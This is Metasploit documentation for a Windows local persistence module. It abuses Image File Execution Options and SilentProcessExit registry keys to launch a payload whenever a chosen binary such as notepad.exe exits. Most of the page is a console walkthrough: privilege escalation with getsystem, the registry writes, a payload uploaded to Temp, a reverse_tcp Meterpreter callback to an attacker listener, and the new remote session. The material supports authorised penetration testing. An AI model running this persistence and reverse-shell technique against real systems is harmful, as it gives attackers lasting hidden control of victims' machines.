metasploit-gs/documentation/modules/exploit/windows/local/persistence_image_exec_options.md

Description

This module leverages Windows debugging tools to cause a payload to launch every time a specified binary exits.

The payload will execute at the same priv level as the launched binary.

Vulnerable Target

Windows 7+ as elevated user

Verification Steps

[*] Meterpreter session 8 opened (192.168.135.168:5555 -> 192.168.132.125:49675) at 2019-09-30 16:24:30 -0500

meterpreter > sysinfo
Computer        : DESKTOP-D1E425Q
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > background
[*] Backgrounding session 8...
msf5 exploit(multi/handler) > use exploit/windows/local/persistence_image_exec_options 
msf5 exploit(windows/local/persistence_image_exec_options) > set image_file notepad.exe
image_file => notepad.exe
msf5 exploit(windows/local/persistence_image_exec_options) > set session 8
session => 8
msf5 exploit(windows/local/persistence_image_exec_options) > run

[*] Attempting Persistence on DESKTOP-D1E425Q via session ID: 8
[*] Payload pathname = C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe
[*] Writing GlobalFlag to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe
[*] Writing ReportingMode to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe
[*] Writing MonitorProcess to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe
[*] Payload (7168 bytes) uploaded on DESKTOP-D1E425Q to C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe
msf5 exploit(windows/local/persistence_image_exec_options) > show options

Module options (exploit/windows/local/persistence_image_exec_options):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   IMAGE_FILE    notepad.exe      yes       Binary to "debug"
   PATH                           no        Path to write binaries if if USE_INJECTION=false(%TEMP% by default).
   PAYLOAD_NAME                   no        The filename for the payload to be used on the target host (%RAND%.exe by default).
   SESSION       8                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.135.168  yes       The listen address (an interface may be specified)
   LPORT     4545             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(windows/local/persistence_image_exec_options) > 

In another window, start a listener and then launch notepad.exe on the target. Close notepad.exe and you should get a callback:

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.135.168:4545 
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 3 opened (192.168.135.168:4545 -> 192.168.132.125:49679) at 2019-09-30 16:25:49 -0500

meterpreter > sysinfo
Computer        : DESKTOP-D1E425Q
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >